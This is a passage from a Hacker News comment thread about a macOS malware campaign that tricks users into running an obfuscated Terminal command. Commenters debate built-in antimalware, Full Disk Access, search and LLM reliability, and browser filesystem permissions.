            Antivirus programs will run on PowerShell scripts, VBScript files, JScript files, and all other kinds of automation on Windows.<p>The screenshots from the article clearly show a permission prompt for a program. Whether that&#x27;s a binary or a shell script or something else doesn&#x27;t matter, the infection stage should&#x27;ve been caught by anti malware rather than permission prompts.<p>Windows Defender does this already. If Apple&#x27;s AV can&#x27;t catch this, I think they may be relying on their DRM-as-a-security-measure (signatures, notarisation, etc.) a bit too much.
          • wpm12 hours ago
            Endpoint security software on the Mac, if it&#x27;s worth the hit to system resources that is, inspect every call to exec and fork that occur in the kernel and also inspect those for known attack vectors, malicious scripts, etc. The one I have installed on my work Mac will kill reverse shell attempts before they are run. Will stop keychain attacks. Infostealing (as they can also get every file system op as they are happening in the kernel).<p>Gatekeeper and Xprotect are good, but there&#x27;s only so much they can do.
          • tokyobreakfast11 hours ago
            &gt; Scanning binaries for known malware is already built into the OS.<p>Clearly it isn&#x27;t. XProtect is a joke. It&#x27;s 2004-era ClamAV level of protection.
          • sithadmin13 hours ago
            The article specifically mentions that the methodology here is to trick users into running an obfuscated CLI command…that downloads and runs a binary
            • GeekyBear12 hours ago
              Terminal commands have the ability to do dangerous things, like deleting all the user&#x27;s files.<p>In this case, the user is warned that the command wants to do something dangerous and must manually allow or deny the action.
    • CharlesW13 hours ago
      No, that narrative died around 2010. The existence of malware targeting Macs has driven many macOS security improvements since, many of which are taken personally by HN readers.
    • blackoil9 hours ago
      As of today you don&#x27;t need to install one on Windows also. Both OS have inbuilt s&#x2F;w for this purpose.
    • LoganDark13 hours ago
      XProtect (Apple&#x27;s built-in antimalware) is usually all you need, as long as you&#x27;re at least somewhat savvy (and sometimes even if you aren&#x27;t). I believe installing any <i>additional</i> antimalware on a Mac is a waste of resources.
    • eviks8 hours ago
      No, we&#x27;re using the built-in mac anti-malware app
    • blackqueeriroh9 hours ago
      What anti-malware would have stopped this, exactly?
      • kalleboo1 hour ago
        It seems most anti-malware is the equivalent of the TSA - security theatre that wastes your time and attention, catching plenty of water bottles but not the real stuff.
    • sneak12 hours ago
      It is necessary. That’s why Apple ships a free invisible one bundled into the OS that you never have to think about, see, or update.
      • boston_clone12 hours ago
        a docs entry point - <a href="https:&#x2F;&#x2F;support.apple.com&#x2F;en-mide&#x2F;guide&#x2F;security&#x2F;sec469d47bd8&#x2F;web" rel="nofollow">https:&#x2F;&#x2F;support.apple.com&#x2F;en-mide&#x2F;guide&#x2F;security&#x2F;sec469d47bd...</a>
  • baxtr14 hours ago
    Actually… I think this be solved by AI answers. I don’t look up commands on random websites, instead I ask an LLM for that kind of stuff. At the very least, check your commands with an LLMs.
    • goalieca14 hours ago
      What we used to have, 15 years ago, was a really well functioning google. You could be lazy with your queries and still find what you wanted in the first two or three hits. Sometimes it was eerily accurate and figuring out what you were actually searching for. Modern google is just not there even with AI answers which is supposed to be infinitely better at natural language processing.
      • iamflimflam112 hours ago
        15 years ago there were fewer content farms trying to get your clicks.
        • somenameforme10 hours ago
          I think that played a somewhat smaller role than Google seemingly gradually starting to take its position for granted and so everything became more focused on revenue generation and less focused on providing the highest quality experiences or results.<p>Beyond result quality it&#x27;s absurd that it took LLMs to get meaningful natural language search. Google could have been working on that for many years, even if in a comparably simple manner, but seemingly never even bothered to try, even though that was always obviously going to be the next big step in search.
        • nottorp2 hours ago
          Google could afford to manually exclude the content farms if they didn&#x27;t morph from a search company to an advertising company.
      • macintux13 hours ago
        Google was such a revelation after the misery of Alta Vista and kin. I miss the days when I liked them.
      • username2239 hours ago
        We used to have an endless supply of new search engines, so &quot;SEO&quot; was not viable. Then Google got a monopoly on search, DoubleClick reverse-acquired Google, and here we are.
    • OsrsNeedsf2P13 hours ago
      Yesterday I was debugging why on Windows, my Wifi would randomly disconnect every couple hours (whereas it worked on Linux). Claude decided it was a driver issue, and proceeded to download a driver update off a completely random website and told me to execute it.<p>My point is, this is not solved by AI answers.
      • blackqueeriroh9 hours ago
        Claude didn’t simply “proceed to download a driver update off a completely random website and told me to execute it”<p>You had to disable permissions or approve some of that.
    • al_borland13 hours ago
      Don’t the LLMs get their information from these random websites? They don’t know what is good and what is malware. Most of the time when I get an AI answer with a command in it, there is a reference to a random reddit post, or something similar.
    • Fnoord12 hours ago
      LLMs will allow Mal to sneak in backdoors in the dataset. Most of the popular LLMs use some kind of blacklisting instead of a smaller specific&#x2F;specialised dataset. The latter seems more akin to whitelisting.
    • JumpCrisscross11 hours ago
      FTFA: “This is almost identical to the previous attack via ChatGPT.”
  • aussieguy123410 hours ago
    Could the dataset of the LLMs that made these recommendations have been poisoned by, let&#x27;s say, a Honeypot website specifically designed to cause any LLM that trains on it to recommend malware?
  • TminusZ10 hours ago
    Careful out there.
  • retired15 hours ago
    Thanks for reminding me to turn off Full Disk Access for Terminal. I&#x27;m not sure why I had that one turned on.
    • latexr15 hours ago
      Probably because you can’t even properly `ls` system directories without it.
      • frizlab14 hours ago
        depends which directories…
    • al_borland13 hours ago
      What would you do in the terminal without it?
      • retired1 hour ago
        I was able to install homebrew, install yt-dlp and download some movies to watch during a flight. All without full disk access.<p>I was also able to use sudo to remove &#x2F;opt&#x2F;homebrew afterwards.
    • LtWorf14 hours ago
      Because it is useless without?
    • pkulak14 hours ago
      lol, is this serious? The final straw with Mac for me was when I accidentally hit “No” when asked if I wanted to give my terminal access to the file system. All of a sudden I was starting my work day without a working terminal. Obviously there was a solution, probably an easy one, but I didn’t even look for it.
      • troad12 hours ago
        &gt; The final straw with Mac<p>&gt; Obviously there was a solution, probably an easy one, but I didn’t even look for it<p>It&#x27;s hard to take this seriously. It&#x27;s the most obvious setting possible. Settings &gt; Privacy &amp; Security &gt; Full Disk Access &gt; tick the apps you want to have it.<p>What&#x27;s even the complaint here? That Mac has solid app permissions, but you can&#x27;t be bothered to open the settings?
        • pkulak11 hours ago
          I said it was likely an easy solution. Glad to see my intuition was correct!<p>I also said it was the “final straw”. No worries at all if you’re not familiar with that expression. It means that there were lots of similar slights previously, and that the event I mentioned, while minor, was the one that finally pushed me to make the decision I made.
          • nozzlegear8 hours ago
            &gt; <i>I also said it was the “final straw”. No worries at all if you’re not familiar with that expression. It means that there were lots of similar slights previously, and that the event I mentioned, while minor, was the one that finally pushed me to make the decision I made.</i><p>This sort of patronizing assholery is childish and unbecoming. Your comment would&#x27;ve been better without it.
      • retired14 hours ago
        The solution is to enable Full Disk Access in settings.
        • pkulak11 hours ago
          Are you sure? This felt like it was specific to iTerm. Like I’d have to scroll a list of apps, find it, and modify what it’s allowed to access.
  • tolerance13 hours ago
    Another reason to avoid Medium like cold grits.
  • MORPHOICES4 hours ago
    [dead]
  • jeffbee15 hours ago
    This sucks because the web <i>should</i> be the perfect, safe platform for this kind of application, but it isn&#x27;t. Technically all the features exist in the browser such that you could write a homedir cleaner, space analyzer, etc purely in a browser tab, but because of the misguided (in my opinion) way that browsers refuse to do open a homedir, it&#x27;s impossible.
    • digiown15 hours ago
      I&#x27;m not sure letting a webapp access your home is a good idea. You&#x27;re basically YOLOing random remote code to run on your machine. Maybe we can have it access some specific folder for its own data.<p>And then there&#x27;s also Apple which won&#x27;t allow functional web apps, lest it affects their app store 30% cut.
      • trollbridge13 hours ago
        Seems like a great idea for something to just run inside a chroot jail (or the modern equivalent, a container).
      • jeffbee14 hours ago
        The web already has these APIs, it can be granted read-only permissions to designated directories. But the browsers will refuse to allow you to delegate even read-only access to, for example, the macos ~&#x2F;Applications folder, on the pretty shaky basis of it being &quot;system files&quot;. Because of that policy the API is not useful for the application of a space analyzer.
        • JumpCrisscross11 hours ago
          &gt; <i>browsers will refuse to allow you to delegate even read-only access to, for example, the macos ~&#x2F;Applications folder, on the pretty shaky basis of it being &quot;system files&quot;</i><p>If you want to trash your system I believe nothing prevents you from giving Firefox full-disk access.
    • blackoil9 hours ago
      Is this satire?
  • etrvic14 hours ago
    A solution would be to stop shipping macs with the terminal app\s. Computers are now used by a wide variety of people, some without technical knowledge, maybe a default switch on macOS that displays warnings on rather trivial attacks would help.
    • nottorp2 hours ago
      Well it&#x27;s becoming developer hostile enough already. Maybe drop python and all command line tools while they&#x27;re at it.<p>Would do wonders for that mythical year of the linux desktop...
    • dexterdog10 hours ago
      How is that a solution? These attacks would just tell you to install terminal if you don&#x27;t already have it.
    • khana13 hours ago
      [dead]